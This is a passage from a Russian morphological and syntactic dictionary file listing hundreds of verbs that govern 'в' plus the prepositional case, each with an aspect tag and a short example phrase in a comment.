вид:соверш }, инфинитив:реализовать{ вид:несоверш }, // реализовать в новой версии глагол:реализовать{ вид:соверш }, глагол:реализовать{ вид:несоверш }, rus_verbs:покаяться{}, // покаяться в церкви rus_verbs:попрыгать{}, // попрыгать в бассейне rus_verbs:умалчивать{}, // умалчивать в своем докладе rus_verbs:ковыряться{}, // ковыряться в старой технике rus_verbs:расписывать{}, // расписывать в деталях rus_verbs:вязнуть{}, // вязнуть в песке rus_verbs:погрязнуть{}, // погрязнуть в скандалах rus_verbs:корениться{}, // корениться в неспособности выполнить поставленную задачу rus_verbs:зажимать{}, // зажимать в углу rus_verbs:стискивать{}, // стискивать в ладонях rus_verbs:практиковаться{}, // практиковаться в приготовлении соуса rus_verbs:израсходовать{}, // израсходовать в полете rus_verbs:клокотать{}, // клокотать в жерле rus_verbs:обвиняться{}, // обвиняться в растрате rus_verbs:уединиться{}, // уединиться в кладовке rus_verbs:подохнуть{}, // подохнуть в болоте rus_verbs:кипятиться{}, // кипятиться в чайнике rus_verbs:уродиться{}, // уродиться в лесу rus_verbs:продолжиться{}, // продолжиться в баре rus_verbs:расшифровать{}, // расшифровать в специальном устройстве rus_verbs:посапывать{}, // посапывать в кровати rus_verbs:скрючиться{}, // скрючиться в мешке rus_verbs:лютовать{}, // лютовать в отдаленных селах rus_verbs:расписать{}, // расписать в статье rus_verbs:публиковаться{}, // публиковаться в научном журнале rus_verbs:зарегистрировать{}, // зарегистрировать в комитете rus_verbs:прожечь{}, // прожечь в листе rus_verbs:переждать{}, // переждать в окопе rus_verbs:публиковать{}, // публиковать в журнале rus_verbs:морщить{}, // морщить в уголках глаз rus_verbs:спиться{}, // спиться в одиночестве rus_verbs:изведать{}, // изведать в гареме rus_verbs:обмануться{}, // обмануться в ожиданиях rus_verbs:сочетать{}, // сочетать в себе rus_verbs:подрабатывать{}, // подрабатывать в магазине rus_verbs:репетировать{}, // репетировать в студии rus_verbs:рябить{}, // рябить в глазах rus_verbs:намочить{}, // намочить в луже rus_verbs:скатать{}, // скатать в руке rus_verbs:одевать{}, // одевать в магазине rus_verbs:испечь{}, // испечь в духовке rus_verbs:сбрить{}, // сбрить в подмышках rus_verbs:зажужжать{}, // зажужжать в ухе rus_verbs:сберечь{}, // сберечь в тайном месте rus_verbs:согреться{}, // согреться в хижине инфинитив:дебютировать{ вид:несоверш }, инфинитив:дебютировать{ вид:соверш }, // дебютировать в спектакле глагол:дебютировать{ вид:несоверш }, глагол:дебютировать{ вид:соверш }, rus_verbs:переплыть{}, // переплыть в лодочке rus_verbs:передохнуть{}, // передохнуть в тени rus_verbs:отсвечивать{}, // отсвечивать в зеркалах rus_verbs:переправляться{}, // переправляться в лодках rus_verbs:накупить{}, // накупить в магазине rus_verbs:проторчать{}, // проторчать в очереди rus_verbs:проскальзывать{}, // проскальзывать в сообщениях rus_verbs:застукать{}, // застукать в солярии rus_verbs:наесть{}, // наесть в отпуске rus_verbs:подвизаться{}, // подвизаться в новом деле rus_verbs:вычистить{}, // вычистить в саду rus_verbs:кормиться{}, // кормиться в лесу rus_verbs:покурить{}, // покурить в саду rus_verbs:понизиться{}, // понизиться в ранге rus_verbs:зимовать{}, // зимовать в избушке rus_verbs:проверяться{}, // проверяться в службе безопасности rus_verbs:подпирать{}, // подпирать в первом забое rus_verbs:кувыркаться{}, // кувыркаться в постели rus_verbs:похрапывать{}, // похрапывать в постели rus_verbs:завязнуть{}, // завязнуть в песке rus_verbs:трактовать{}, // трактовать в исследовательской статье rus_verbs:замедляться{}, // замедляться в тяжелой воде rus_verbs:шастать{}, // шастать в здании rus_verbs:заночевать{}, // заночевать в пути rus_verbs:наметиться{}, // наметиться в исследованиях рака rus_verbs:освежить{}, // освежить в памяти rus_verbs:оспаривать{}, // оспаривать в суде rus_verbs:умещаться{}, // умещаться в ячейке rus_verbs:искупить{}, // искупить в бою rus_verbs:отсиживаться{}, // отсиживаться в тылу rus_verbs:мчать{}, // мчать в кабриолете rus_verbs:обличать{}, // обличать в своем выступлении rus_verbs:сгнить{}, // сгнить в тюряге rus_verbs:опробовать{}, // опробовать в деле rus_verbs:тренировать{}, // тренировать в зале rus_verbs:прославить{}, // прославить в академии rus_verbs:учитываться{}, // учитываться в дипломной работе rus_verbs:повеселиться{}, // повеселиться в лагере rus_verbs:поумнеть{}, // поумнеть в карцере rus_verbs:перестрелять{}, // перестрелять в воздухе rus_verbs:проведать{}, // проведать в больнице rus_verbs:измучиться{}, // измучиться в деревне rus_verbs:прощупать{}, // прощупать в глубине rus_verbs:изготовлять{}, // изготовлять в сарае rus_verbs:свирепствовать{}, // свирепствовать в популяции rus_verbs:иссякать{}, // иссякать в источнике rus_verbs:гнездиться{}, // гнездиться в дупле rus_verbs:разогнаться{}, // разогнаться в спортивной машине rus_verbs:опознавать{}, // опознавать в неизвестном rus_verbs:засвидетельствовать{}, // засвидетельствовать в суде rus_verbs:сконцентрировать{}, // сконцентрировать в своих руках rus_verbs:редактировать{}, // редактировать в редакторе rus_verbs:покупаться{}, // покупаться в магазине rus_verbs:промышлять{}, // промышлять в роще rus_verbs:растягиваться{}, // растягиваться в коридоре rus_verbs:приобретаться{}, // приобретаться в антикварных лавках инфинитив:подрезать{ вид:несоверш }, инфинитив:подрезать{ вид:соверш }, // подрезать в воде глагол:подрезать{ вид:несоверш }, глагол:подрезать{ вид:соверш }, rus_verbs:запечатлеться{}, // запечатлеться в мозгу rus_verbs:укрывать{}, // укрывать в подвале rus_verbs:закрепиться{}, // закрепиться в первой башне rus_verbs:освежать{}, // освежать в памяти rus_verbs:громыхать{}, // громыхать в ванной инфинитив:подвигаться{ вид:соверш }, инфинитив:подвигаться{ вид:несоверш }, // подвигаться в кровати глагол:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:несоверш }, rus_verbs:добываться{}, // добываться в шахтах rus_verbs:растворить{}, // растворить в кислоте rus_verbs:приплясывать{}, // приплясывать в гримерке rus_verbs:доживать{}, // доживать в доме престарелых rus_verbs:отпраздновать{}, // отпраздновать в ресторане rus_verbs:сотрясаться{}, // сотрясаться в конвульсиях rus_verbs:помыть{}, // помыть в проточной воде инфинитив:увязать{ вид:несоверш }, инфинитив:увязать{ вид:соверш }, // увязать в песке глагол:увязать{ вид:несоверш }, глагол:увязать{ вид:соверш }, прилагательное:увязавший{ вид:несоверш }, rus_verbs:наличествовать{}, // наличествовать в запаснике rus_verbs:нащупывать{}, // нащупывать в кармане rus_verbs:повествоваться{}, // повествоваться в рассказе rus_verbs:отремонтировать{}, // отремонтировать в техцентре rus_verbs:покалывать{}, // покалывать в правом боку rus_verbs:сиживать{}, // сиживать в саду rus_verbs:разрабатываться{}, // разрабатываться в секретных лабораториях rus_verbs:укрепляться{}, // укрепляться в мнении rus_verbs:разниться{}, // разниться во взглядах rus_verbs:сполоснуть{}, // сполоснуть в водичке rus_verbs:скупать{}, // скупать в магазине rus_verbs:почесывать{}, // почесывать в паху rus_verbs:оформлять{}, // оформлять в конторе rus_verbs:распускаться{}, // распускаться в садах rus_verbs:зарябить{}, // зарябить в глазах rus_verbs:загореть{}, // загореть в Испании rus_verbs:очищаться{}, // очищаться в баке rus_verbs:остудить{}, // остудить в холодной воде rus_verbs:разбомбить{}, // разбомбить в горах rus_verbs:издохнуть{}, // издохнуть в бедности rus_verbs:проехаться{}, // проехаться в новой машине rus_verbs:задействовать{}, // задействовать в анализе rus_verbs:произрастать{}, // произрастать в степи rus_verbs:разуться{}, // разуться в прихожей rus_verbs:сооружать{}, // сооружать в огороде rus_verbs:зачитывать{}, // зачитывать в суде rus_verbs:состязаться{}, // состязаться в остроумии rus_verbs:ополоснуть{}, // ополоснуть в молоке rus_verbs:уместиться{}, // уместиться в кармане rus_verbs:совершенствоваться{}, // совершенствоваться в управлении мотоциклом rus_verbs:стираться{}, // стираться в стиральной машине rus_verbs:искупаться{}, // искупаться в прохладной реке rus_verbs:курировать{}, // курировать в правительстве rus_verbs:закупить{}, // закупить в магазине rus_verbs:плодиться{}, // плодиться в подходящих условиях rus_verbs:горланить{}, // горланить в парке rus_verbs:першить{}, // першить в горле rus_verbs:пригрезиться{}, // пригрезиться во сне rus_verbs:исправлять{}, // исправлять в тетрадке rus_verbs:расслабляться{}, // расслабляться в гамаке rus_verbs:скапливаться{}, // скапливаться в нижней части rus_verbs:сплетничать{}, // сплетничают в комнате rus_verbs:раздевать{}, // раздевать в кабинке rus_verbs:окопаться{}, // окопаться в лесу rus_verbs:загорать{}, // загорать в Испании rus_verbs:подпевать{}, // подпевать в церковном хоре rus_verbs:прожужжать{}, // прожужжать в динамике rus_verbs:изучаться{}, // изучаться в дикой природе rus_verbs:заклубиться{}, // заклубиться в воздухе rus_verbs:подметать{}, // подметать в зале rus_verbs:подозреваться{}, // подозреваться в совершении кражи rus_verbs:обогащать{}, // обогащать в специальном аппарате rus_verbs:издаться{}, // издаться в другом издательстве rus_verbs:справить{}, // справить в кустах нужду rus_verbs:помыться{}, // помыться в бане rus_verbs:проскакивать{}, // проскакивать в словах rus_verbs:попивать{}, // попивать в кафе чай rus_verbs:оформляться{}, // оформляться в регистратуре rus_verbs:чирикать{}, // чирикать в кустах rus_verbs:скупить{}, // скупить в магазинах rus_verbs:переночевать{}, // переночевать в гостинице rus_verbs:концентрироваться{}, // концентрироваться в пробирке rus_verbs:одичать{}, // одичать в лесу rus_verbs:ковырнуть{}, // ковырнуть в ухе rus_verbs:затеплиться{}, // затеплиться в глубине души rus_verbs:разгрести{}, // разгрести в задачах залежи rus_verbs:застопориться{}, // застопориться в начале списка rus_verbs:перечисляться{}, // перечисляться во введении rus_verbs:покататься{}, // покататься в парке аттракционов rus_verbs:изловить{}, // изловить в поле rus_verbs:прославлять{}, // прославлять в стихах rus_verbs:промочить{}, // промочить в луже rus_verbs:поделывать{}, // поделывать в отпуске rus_verbs:просуществовать{}, // просуществовать в первобытном состоянии rus_verbs:подстеречь{}, // подстеречь в подъезде rus_verbs:прикупить{}, // прикупить в магазине rus_verbs:перемешивать{}, // перемешивать в кастрюле rus_verbs:тискать{}, // тискать в углу rus_verbs:купать{}, // купать в теплой водичке rus_verbs:завариться{}, // завариться в стакане rus_verbs:притулиться{}, // притулиться в углу rus_verbs:пострелять{}, // пострелять в тире rus_verbs:навесить{}, // навесить в больнице инфинитив:изолировать{ вид:соверш }, инфинитив:изолировать{ вид:несоверш }, // изолировать в камере глагол:изолировать{ вид:соверш }, глагол:изолировать{ вид:несоверш }, rus_verbs:нежиться{}, // нежится в постельке rus_verbs:притомиться{}, // притомиться в школе rus_verbs:раздвоиться{}, // раздвоиться в глазах rus_verbs:навалить{}, // навалить в углу rus_verbs:замуровать{}, // замуровать в склепе rus_verbs:поселяться{}, // поселяться в кроне дуба rus_verbs:потягиваться{}, // потягиваться в кровати rus_verbs:укачать{}, // укачать в поезде rus_verbs:отлеживаться{}, // отлеживаться в гамаке rus_verbs:разменять{}, // разменять в кассе rus_verbs:прополоскать{}, // прополоскать в чистой теплой воде rus_verbs:ржаветь{}, // ржаветь в воде rus_verbs:уличить{}, // уличить в плагиате rus_verbs:мутиться{}, // мутиться в голове rus_verbs:растворять{}, // растворять в бензоле rus_verbs:двоиться{}, // двоиться в глазах rus_verbs:оговорить{}, // оговорить в договоре rus_verbs:подделать{}, // подделать в документе rus_verbs:зарегистрироваться{}, // зарегистрироваться в социальной сети rus_verbs:растолстеть{}, // растолстеть в талии rus_verbs:повоевать{}, // повоевать в городских условиях rus_verbs:прибраться{}, // гнушаться прибраться в хлеву rus_verbs:поглощаться{}, // поглощаться в металлической фольге rus_verbs:ухать{}, // ухать в лесу rus_verbs:подписываться{}, // подписываться в петиции rus_verbs:покатать{}, // покатать в машинке rus_verbs:излечиться{}, // излечиться в клинике rus_verbs:трепыхаться{}, // трепыхаться в мешке rus_verbs:кипятить{}, // кипятить в кастрюле rus_verbs:понастроить{}, // понастроить в прибрежной зоне rus_verbs:перебывать{}, // перебывать во всех европейских столицах rus_verbs:оглашать{}, // оглашать в итоговой части rus_verbs:преуспевать{}, // преуспевать в новом бизнесе rus_verbs:консультироваться{}, // консультироваться в техподдержке rus_verbs:накапливать{}, // накапливать в печени rus_verbs:перемешать{}, // перемешать в контейнере rus_verbs:наследить{}, // наследить в коридоре rus_verbs:выявиться{}, // выявиться в результе rus_verbs:забулькать{}, // забулькать в болоте rus_verbs:отваривать{}, // отваривать в молоке rus_verbs:запутываться{}, // запутываться в веревках rus_verbs:нагреться{}, // нагреться в микроволновой печке rus_verbs:рыбачить{}, // рыбачить в открытом море rus_verbs:укорениться{}, // укорениться в сознании широких народных масс rus_verbs:умывать{}, // умывать в тазике rus_verbs:защекотать{}, // защекотать в носу rus_verbs:заходиться{}, // заходиться в плаче инфинитив:искупать{ вид:соверш }, инфинитив:искупать{ вид:несоверш }, // искупать в прохладной водичке глагол:искупать{ вид:соверш }, глагол:искупать{ вид:несоверш }, деепричастие:искупав{}, деепричастие:искупая{}, rus_verbs:заморозить{}, // заморозить в холодильнике rus_verbs:закреплять{}, // закреплять в металлическом держателе rus_verbs:расхватать{}, // расхватать в магазине rus_verbs:истязать{}, // истязать в тюремном подвале rus_verbs:заржаветь{}, // заржаветь во влажной атмосфере rus_verbs:обжаривать{}, // обжаривать в подсолнечном масле rus_verbs:умереть{}, // Ты, подлый предатель, умрешь в нищете rus_verbs:подогреть{}, // подогрей в микроволновке rus_verbs:подогревать{}, rus_verbs:затянуть{}, // Кузнечики, сверчки, скрипачи и медведки затянули в траве свою трескучую музыку rus_verbs:проделать{}, // проделать в стене дыру инфинитив:жениться{ вид:соверш }, // жениться в Техасе инфинитив:жениться{ вид:несоверш }, глагол:жениться{ вид:соверш }, глагол:жениться{ вид:несоверш }, деепричастие:женившись{}, деепричастие:женясь{}, прилагательное:женатый{}, прилагательное:женившийся{вид:соверш}, прилагательное:женящийся{}, rus_verbs:всхрапнуть{}, // всхрапнуть во сне rus_verbs:всхрапывать{}, // всхрапывать во сне rus_verbs:ворочаться{}, // Собака ворочается во сне rus_verbs:воссоздаваться{}, // воссоздаваться в памяти rus_verbs:акклиматизироваться{}, // альпинисты готовятся акклиматизироваться в горах инфинитив:атаковать{ вид:несоверш }, // взвод был атакован в лесу инфинитив:атаковать{ вид:соверш }, глагол:атаковать{ вид:несоверш }, глагол:атаковать{ вид:соверш }, прилагательное:атакованный{}, прилагательное:атаковавший{}, прилагательное:атакующий{}, инфинитив:аккумулировать{вид:несоверш}, // энергия была аккумулирована в печени инфинитив:аккумулировать{вид:соверш}, глагол:аккумулировать{вид:несоверш}, глагол:аккумулировать{вид:соверш}, прилагательное:аккумулированный{}, прилагательное:аккумулирующий{}, //прилагательное:аккумулировавший{ вид:несоверш }, прилагательное:аккумулировавший{ вид:соверш }, rus_verbs:врисовывать{}, // врисовывать нового персонажа в анимацию rus_verbs:вырасти{}, // Он вырос в глазах коллег. rus_verbs:иметь{}, // Он всегда имел в резерве острое словцо. rus_verbs:убить{}, // убить в себе зверя инфинитив:абсорбироваться{ вид:соверш }, // жидкость абсорбируется в поглощающей ткани инфинитив:абсорбироваться{ вид:несоверш }, глагол:абсорбироваться{ вид:соверш }, глагол:абсорбироваться{ вид:несоверш }, rus_verbs:поставить{}, // поставить в углу rus_verbs:сжимать{}, // сжимать в кулаке rus_verbs:готовиться{}, // альпинисты готовятся акклиматизироваться в горах rus_verbs:аккумулироваться{}, // энергия аккумулируется в жировых отложениях инфинитив:активизироваться{ вид:несоверш }, // в горах активизировались повстанцы инфинитив:активизироваться{ вид:соверш }, глагол:активизироваться{ вид:несоверш }, глагол:активизироваться{ вид:соверш }, rus_verbs:апробировать{}, // пилот апробировал в ходе испытаний новый режим планера rus_verbs:арестовать{}, // наркодилер был арестован в помещении кафе rus_verbs:базировать{}, // установка будет базирована в лесу rus_verbs:барахтаться{}, // дети барахтались в воде rus_verbs:баррикадироваться{}, // преступники баррикадируются в помещении банка rus_verbs:барствовать{}, // Семен Семенович барствовал в своей деревне rus_verbs:бесчинствовать{}, // Боевики бесчинствовали в захваченном селе rus_verbs:блаженствовать{}, // Воробьи блаженствовали в кроне рябины rus_verbs:блуждать{}, // Туристы блуждали в лесу rus_verbs:брать{}, // Жена берет деньги в тумбочке rus_verbs:бродить{}, // парочки бродили в парке rus_verbs:обойти{}, // Бразилия обошла Россию в рейтинге rus_verbs:задержать{}, // Знаменитый советский фигурист задержан в США rus_verbs:бултыхаться{}, // Ноги бултыхаются в воде rus_verbs:вариться{}, // Курица варится в кастрюле rus_verbs:закончиться{}, // Эта рецессия закончилась в 2003 году rus_verbs:прокручиваться{}, // Ключ прокручивается в замке rus_verbs:прокрутиться{}, // Ключ трижды прокрутился в замке rus_verbs:храниться{}, // Настройки хранятся в текстовом файле rus_verbs:сохраняться{}, // Настройки сохраняются в текстовом файле rus_verbs:витать{}, // Мальчик витает в облаках rus_verbs:владычествовать{}, // Король владычествует в стране rus_verbs:властвовать{}, // Олигархи властвовали в стране rus_verbs:возбудить{}, // возбудить в сердце тоску rus_verbs:возбуждать{}, // возбуждать в сердце тоску rus_verbs:возвыситься{}, // возвыситься в глазах современников rus_verbs:возжечь{}, // возжечь в храме огонь rus_verbs:возжечься{}, // Огонь возжёгся в храме rus_verbs:возжигать{}, // возжигать в храме огонь rus_verbs:возжигаться{}, // Огонь возжигается в храме rus_verbs:вознамериваться{}, // вознамериваться уйти в монастырь rus_verbs:вознамериться{}, // вознамериться уйти в монастырь rus_verbs:возникать{}, // Новые идеи неожиданно возникают в колиной голове rus_verbs:возникнуть{}, // Новые идейки возникли в голове rus_verbs:возродиться{}, // возродиться в новом качестве rus_verbs:возрождать{}, // возрождать в новом качестве rus_verbs:возрождаться{}, // возрождаться в новом амплуа rus_verbs:ворошить{}, // ворошить в камине кочергой золу rus_verbs:воспевать{}, // Поэты воспевают героев в одах rus_verbs:воспеваться{}, // Герои воспеваются в одах поэтами rus_verbs:воспеть{}, // Поэты воспели в этой оде героев rus_verbs:воспретить{}, // воспретить в помещении азартные игры rus_verbs:восславить{}, // Поэты восславили в одах rus_verbs:восславлять{}, // Поэты восславляют в одах rus_verbs:восславляться{}, // Героя восславляются в одах rus_verbs:воссоздать{}, // воссоздает в памяти образ человека rus_verbs:воссоздавать{}, // воссоздать в памяти образ человека rus_verbs:воссоздаться{}, // воссоздаться в памяти rus_verbs:вскипятить{}, // вскипятить в чайнике воду rus_verbs:вскипятиться{}, // вскипятиться в чайнике rus_verbs:встретить{}, // встретить в классе старого приятеля rus_verbs:встретиться{}, // встретиться в классе rus_verbs:встречать{}, // встречать в лесу голодного медведя rus_verbs:встречаться{}, // встречаться в кафе rus_verbs:выбривать{}, // выбривать что-то в подмышках rus_verbs:выбрить{}, // выбрить что-то в паху rus_verbs:вывалять{}, // вывалять кого-то в грязи rus_verbs:вываляться{}, // вываляться в грязи rus_verbs:вываривать{}, // вываривать в молоке rus_verbs:вывариваться{}, // вывариваться в молоке rus_verbs:выварить{}, // выварить в молоке rus_verbs:вывариться{}, // вывариться в молоке rus_verbs:выгрызать{}, // выгрызать в сыре отверствие rus_verbs:выгрызть{}, // выгрызть в сыре отверстие rus_verbs:выгуливать{}, // выгуливать в парке собаку rus_verbs:выгулять{}, // выгулять в парке собаку rus_verbs:выдолбить{}, // выдолбить в стволе углубление rus_verbs:выжить{}, // выжить в пустыне rus_verbs:Выискать{}, // Выискать в программе ошибку rus_verbs:выискаться{}, // Ошибка выискалась в программе rus_verbs:выискивать{}, // выискивать в программе ошибку rus_verbs:выискиваться{}, // выискиваться в программе rus_verbs:выкраивать{}, // выкраивать в расписании время rus_verbs:выкраиваться{}, // выкраиваться в расписании инфинитив:выкупаться{aux stress="в^ыкупаться"}, // выкупаться в озере глагол:выкупаться{вид:соверш}, rus_verbs:выловить{}, // выловить в пруду rus_verbs:вымачивать{}, // вымачивать в молоке rus_verbs:вымачиваться{}, // вымачиваться в молоке rus_verbs:вынюхивать{}, // вынюхивать в траве следы rus_verbs:выпачкать{}, // выпачкать в смоле свою одежду rus_verbs:выпачкаться{}, // выпачкаться в грязи rus_verbs:вырастить{}, // вырастить в теплице ведро огурчиков rus_verbs:выращивать{}, // выращивать в теплице помидоры rus_verbs:выращиваться{}, // выращиваться в теплице rus_verbs:вырыть{}, // вырыть в земле глубокую яму rus_verbs:высадить{}, // высадить в пустынной местности rus_verbs:высадиться{}, // высадиться в пустынной местности rus_verbs:высаживать{}, // высаживать в пустыне rus_verbs:высверливать{}, // высверливать в доске отверствие rus_verbs:высверливаться{}, // высверливаться в стене rus_verbs:высверлить{}, // высверлить в стене отверствие rus_verbs:высверлиться{}, // высверлиться в стене rus_verbs:выскоблить{}, // выскоблить в столешнице канавку rus_verbs:высматривать{}, // высматривать в темноте rus_verbs:заметить{}, // заметить в помещении rus_verbs:оказаться{}, // оказаться в первых рядах rus_verbs:душить{}, // душить в объятиях rus_verbs:оставаться{}, // оставаться в классе rus_verbs:появиться{}, // впервые появиться в фильме rus_verbs:лежать{}, // лежать в футляре rus_verbs:раздаться{}, // раздаться в плечах rus_verbs:ждать{}, // ждать в здании вокзала rus_verbs:жить{}, // жить в трущобах rus_verbs:постелить{}, // постелить в прихожей rus_verbs:оказываться{}, // оказываться в неприятной ситуации rus_verbs:держать{}, // держать в голове rus_verbs:обнаружить{}, // обнаружить в себе способность rus_verbs:начинать{}, // начинать в лаборатории rus_verbs:рассказывать{}, // рассказывать в лицах rus_verbs:ожидать{}, // ожидать в помещении rus_verbs:продолжить{}, // продолжить в помещении rus_verbs:состоять{}, // состоять в группе rus_verbs:родиться{}, // родиться в рубашке rus_verbs:искать{}, // искать в кармане rus_verbs:иметься{}, // иметься в наличии rus_verbs:говориться{}, // говориться в среде панков rus_verbs:клясться{}, // клясться в верности rus_verbs:узнавать{}, // узнавать в нем своего сына rus_verbs:признаться{}, // признаться в ошибке rus_verbs:сомневаться{}, // сомневаться в искренности rus_verbs:толочь{}, // толочь в ступе rus_verbs:понадобиться{}, // понадобиться в суде rus_verbs:служить{}, // служить в пехоте rus_verbs:потолочь{}, // потолочь в ступе rus_verbs:появляться{}, // появляться в театре rus_verbs:сжать{}, // сжать в объятиях rus_verbs:действовать{}, // действовать в постановке rus_verbs:селить{}, // селить в гостинице rus_verbs:поймать{}, // поймать в лесу rus_verbs:увидать{}, // увидать в толпе rus_verbs:подождать{}, // подождать в кабинете rus_verbs:прочесть{}, // прочесть в глазах rus_verbs:тонуть{}, // тонуть в реке rus_verbs:ощущать{}, // ощущать в животе rus_verbs:ошибиться{}, // ошибиться в расчетах rus_verbs:отметить{}, // отметить в списке rus_verbs:показывать{}, // показывать в динамике rus_verbs:скрыться{}, // скрыться в траве rus_verbs:убедиться{}, // убедиться в корректности rus_verbs:прозвучать{}, // прозвучать в наушниках rus_verbs:разговаривать{}, // разговаривать в фойе rus_verbs:издать{}, // издать в России rus_verbs:прочитать{}, // прочитать в газете rus_verbs:попробовать{}, // попробовать в деле rus_verbs:замечать{}, // замечать в программе ошибку rus_verbs:нести{}, // нести в руках rus_verbs:пропасть{}, // пропасть в плену rus_verbs:носить{}, // носить в кармане rus_verbs:гореть{}, // гореть в аду rus_verbs:поправить{}, // поправить в программе rus_verbs:застыть{}, // застыть в неудобной позе rus_verbs:получать{}, // получать в кассе rus_verbs:потребоваться{}, // потребоваться в работе rus_verbs:спрятать{}, // спрятать в шкафу rus_verbs:учиться{}, // учиться в институте rus_verbs:развернуться{}, // развернуться в коридоре rus_verbs:подозревать{}, // подозревать в мошенничестве rus_verbs:играть{}, // играть в команде rus_verbs:сыграть{}, // сыграть в команде rus_verbs:строить{}, // строить в деревне rus_verbs:устроить{}, // устроить в доме вечеринку rus_verbs:находить{}, // находить в лесу rus_verbs:нуждаться{}, // нуждаться в деньгах rus_verbs:испытать{}, // испытать в рабочей обстановке rus_verbs:мелькнуть{}, // мелькнуть в прицеле rus_verbs:очутиться{}, // очутиться в закрытом помещении инфинитив:использовать{вид:соверш}, // использовать в работе инфинитив:использовать{вид:несоверш}, глагол:использовать{вид:несоверш}, глагол:использовать{вид:соверш}, rus_verbs:лететь{}, // лететь в самолете rus_verbs:смеяться{}, // смеяться в цирке rus_verbs:ездить{}, // ездить в лимузине rus_verbs:заснуть{}, // заснуть в неудобной позе rus_verbs:застать{}, // застать в неформальной обстановке rus_verbs:очнуться{}, // очнуться в незнакомой обстановке rus_verbs:твориться{}, // Что творится в закрытой зоне rus_verbs:разглядеть{}, // разглядеть в темноте rus_verbs:изучать{}, // изучать в естественных условиях rus_verbs:удержаться{}, // удержаться в седле rus_verbs:побывать{}, // побывать в зоопарке rus_verbs:уловить{}, // уловить в словах нотку отчаяния rus_verbs:приобрести{}, // приобрести в лавке rus_verbs:исчезать{}, // исчезать в тумане rus_verbs:уверять{}, // уверять в своей невиновности rus_verbs:продолжаться{}, // продолжаться в воздухе rus_verbs:открывать{}, // открывать в городе новый стадион rus_verbs:поддержать{}, // поддержать в парке порядок rus_verbs:солить{}, // солить в бочке rus_verbs:прожить{}, // прожить в деревне rus_verbs:создавать{}, // создавать в театре rus_verbs:обсуждать{}, // обсуждать в коллективе rus_verbs:заказать{}, // заказать в магазине rus_verbs:отыскать{}, // отыскать в гараже rus_verbs:уснуть{}, // уснуть в кресле rus_verbs:задержаться{}, // задержаться в театре rus_verbs:подобрать{}, // подобрать в коллекции rus_verbs:пробовать{}, // пробовать в работе rus_verbs:курить{}, // курить в закрытом помещении rus_verbs:устраивать{}, // устраивать в лесу засаду rus_verbs:установить{}, // установить в багажнике rus_verbs:запереть{}, // запереть в сарае rus_verbs:содержать{}, // содержать в достатке rus_verbs:синеть{}, // синеть в кислородной атмосфере rus_verbs:слышаться{}, // слышаться в голосе rus_verbs:закрыться{}, // закрыться в здании rus_verbs:скрываться{}, // скрываться в квартире rus_verbs:родить{}, // родить в больнице rus_verbs:описать{}, // описать в заметках rus_verbs:перехватить{}, // перехватить в коридоре rus_verbs:менять{}, // менять в магазине rus_verbs:скрывать{}, // скрывать в чужой квартире rus_verbs:стиснуть{}, // стиснуть в стальных объятиях rus_verbs:останавливаться{}, // останавливаться в гостинице rus_verbs:мелькать{}, // мелькать в телевизоре rus_verbs:присутствовать{}, // присутствовать в аудитории rus_verbs:украсть{}, // украсть в магазине rus_verbs:победить{}, // победить в войне rus_verbs:расположиться{}, // расположиться в гостинице rus_verbs:упомянуть{}, // упомянуть в своей книге rus_verbs:плыть{}, // плыть в старой бочке rus_verbs:нащупать{}, // нащупать в глубине rus_verbs:проявляться{}, // проявляться в работе rus_verbs:затихнуть{}, // затихнуть в норе rus_verbs:построить{}, // построить в гараже rus_verbs:поддерживать{}, // поддерживать в исправном состоянии rus_verbs:заработать{}, // заработать в стартапе rus_verbs:сломать{}, // сломать в суставе rus_verbs:снимать{}, // снимать в гардеробе rus_verbs:сохранить{}, // сохранить в коллекции rus_verbs:располагаться{}, // располагаться в отдельном кабинете rus_verbs:сражаться{}, // сражаться в честном бою rus_verbs:спускаться{}, // спускаться в батискафе rus_verbs:уничтожить{}, // уничтожить в схроне rus_verbs:изучить{}, // изучить в естественных условиях rus_verbs:рождаться{}, // рождаться в муках rus_verbs:пребывать{}, // пребывать в прострации rus_verbs:прилететь{}, // прилететь в аэробусе rus_verbs:догнать{}, // догнать в переулке rus_verbs:изобразить{}, // изобразить в танце rus_verbs:проехать{}, // проехать в легковушке rus_verbs:убедить{}, // убедить в разумности rus_verbs:приготовить{}, // приготовить в духовке rus_verbs:собирать{}, // собирать в лесу rus_verbs:поплыть{}, // поплыть в катере rus_verbs:доверять{}, // доверять в управлении rus_verbs:разобраться{}, // разобраться в законах rus_verbs:ловить{}, // ловить в озере rus_verbs:проесть{}, // проесть в куске металла отверстие rus_verbs:спрятаться{}, // спрятаться в подвале rus_verbs:провозгласить{}, // провозгласить в речи rus_verbs:изложить{}, // изложить в своём выступлении rus_verbs:замяться{}, // замяться в коридоре rus_verbs:раздаваться{}, // Крик ягуара раздается в джунглях rus_verbs:доказать{}, // Автор доказал в своей работе, что теорема верна rus_verbs:хранить{}, // хранить в шкатулке rus_verbs:шутить{}, // шутить в классе глагол:рассыпаться{ aux stress="рассып^аться" }, // рассыпаться в извинениях инфинитив:рассыпаться{ aux stress="рассып^аться" }, rus_verbs:чертить{}, // чертить в тетрадке rus_verbs:отразиться{}, // отразиться в аттестате rus_verbs:греть{}, // греть в микроволновке rus_verbs:зарычать{}, // Кто-то зарычал в глубине леса rus_verbs:рассуждать{}, // Автор рассуждает в своей статье rus_verbs:освободить{}, // Обвиняемые были освобождены в зале суда rus_verbs:окружать{}, // окружать в лесу rus_verbs:сопровождать{}, // сопровождать в операции rus_verbs:заканчиваться{}, // заканчиваться в дороге rus_verbs:поселиться{}, // поселиться в загородном доме rus_verbs:охватывать{}, // охватывать в хронологии rus_verbs:запеть{}, // запеть в кино инфинитив:провозить{вид:несоверш}, // провозить в багаже глагол:провозить{вид:несоверш}, rus_verbs:мочить{}, // мочить в сортире rus_verbs:перевернуться{}, // перевернуться в полёте rus_verbs:улететь{}, // улететь в теплые края rus_verbs:сдержать{}, // сдержать в руках rus_verbs:преследовать{}, // преследовать в любой другой стране rus_verbs:драться{}, // драться в баре rus_verbs:просидеть{}, // просидеть в классе rus_verbs:убираться{}, // убираться в квартире rus_verbs:содрогнуться{}, // содрогнуться в приступе отвращения rus_verbs:пугать{}, // пугать в прессе rus_verbs:отреагировать{}, // отреагировать в прессе rus_verbs:проверять{}, // проверять в аппарате rus_verbs:убеждать{}, // убеждать в отсутствии альтернатив rus_verbs:летать{}, // летать в комфортабельном частном самолёте rus_verbs:толпиться{}, // толпиться в фойе rus_verbs:плавать{}, // плавать в специальном костюме rus_verbs:пробыть{}, // пробыть в воде слишком долго rus_verbs:прикинуть{}, // прикинуть в 